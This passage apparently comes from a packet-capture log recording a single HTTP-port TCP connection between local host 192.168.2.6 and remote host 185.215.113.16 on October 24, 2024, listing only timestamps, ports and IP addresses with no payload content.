Oct 24, 2024 11:02:35.229492903 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.239418983 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.239469051 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.239489079 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.239511967 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.239556074 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.239557981 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.239583015 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.239620924 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.239667892 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.239681959 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.239710093 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.239738941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.239741087 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.239785910 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.239787102 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.239813089 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.239860058 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.239861965 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.239888906 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.239917040 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.239923000 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.239958048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.239986897 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.240003109 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.240014076 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.240042925 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.240056992 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.240070105 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.240098000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.240111113 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.240125895 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.240199089 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.240216017 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.240226030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.240253925 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.240269899 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.240281105 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.240328074 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.317167044 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.317642927 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.322871923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.322889090 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.322902918 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.322931051 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.323120117 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323133945 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323146105 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323172092 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.323193073 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323199987 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.323206902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323220968 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323234081 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323256016 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.323287010 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.323344946 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323357105 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323369026 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323379993 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323384047 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.323395967 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323409081 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323420048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323431969 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323431969 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.323443890 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323458910 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.323484898 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323496103 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323508024 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323519945 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323533058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323539019 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.323544979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323559046 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323570967 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323571920 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.323584080 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323596954 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.323615074 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.323674917 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323688030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323698997 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323719978 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.323744059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323756933 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323769093 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323781967 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323782921 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.323842049 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323853016 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323864937 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323867083 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.323877096 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323880911 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.323890924 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.323899031 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.323928118 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.323987961 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324001074 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324012995 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324024916 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324037075 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324044943 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.324048996 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324062109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324069977 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.324074030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324086905 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.324088097 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324104071 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324126005 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324129105 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.324137926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324156046 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.324172020 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.324228048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324239016 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324265003 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324276924 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324280977 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.324290037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324301004 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324314117 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324316025 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.324325085 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324336052 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.324369907 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.324672937 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324754953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324769020 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324795961 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.324803114 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324815989 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324831963 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324841022 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.324876070 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.324913979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324925900 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324940920 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324954987 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324960947 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.324966908 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324978113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324990988 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.324990988 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.325016975 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.325182915 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325201988 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325213909 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325225115 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325233936 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.325238943 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325249910 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325262070 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.325263977 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325278044 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.325294971 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.325459003 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325469971 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325481892 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325494051 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325508118 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325517893 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325520992 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.325531006 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325560093 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.325586081 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325598955 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325611115 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325619936 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.325623035 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325639963 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325653076 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325658083 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.325664997 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325678110 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325697899 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.325742006 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325753927 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325771093 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325783014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325797081 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325802088 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.325809002 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325820923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325831890 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325834036 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.325848103 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325850010 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.325882912 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325886965 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.325895071 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325906038 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325917959 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325927019 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.325930119 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325942039 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325953960 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325956106 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.325965881 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.325972080 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.326006889 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.326271057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326316118 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326329947 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326364994 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.326381922 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326394081 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326406002 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326420069 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.326421022 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326457977 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.326562881 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326575994 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326586008 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326597929 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326600075 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.326608896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326621056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326627016 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.326633930 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326644897 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326652050 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326657057 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.326689005 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326714993 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.326744080 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326756954 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326772928 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326776981 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.326806068 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.326913118 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326926947 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326937914 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326958895 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326960087 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.326971054 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326982021 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.326993942 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327003956 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.327007055 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327018976 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327030897 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327033997 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.327052116 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327053070 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.327064991 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327070951 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.327076912 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327102900 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327115059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327121019 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.327130079 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327150106 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.327171087 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.327326059 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327337980 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327349901 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327363014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327374935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327378035 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.327387094 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327398062 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327408075 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.327409029 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327419996 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327428102 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.327436924 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327445984 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.327450037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327466011 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327477932 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327482939 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.327491045 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327502966 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327517033 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327519894 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.327538967 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.327555895 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.327816963 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327970028 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327981949 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.327995062 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328006029 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328008890 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.328027964 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328038931 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.328039885 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328052044 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328063011 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.328066111 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328078032 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328092098 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328095913 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.328104973 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328119040 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.328135967 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.328157902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328170061 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328182936 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328195095 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328207016 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328214884 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.328218937 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328229904 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.328232050 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328244925 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328263044 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.328294039 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.328461885 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328504086 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328519106 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328537941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328550100 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328560114 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.328563929 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328589916 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.328604937 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.328635931 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328646898 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328659058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328670979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328682899 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328682899 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.328691006 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328721046 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328732014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328737974 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328751087 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:35.328751087 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:35.328779936 CEST	49756	80	192.168.2.6	185.215.113.16
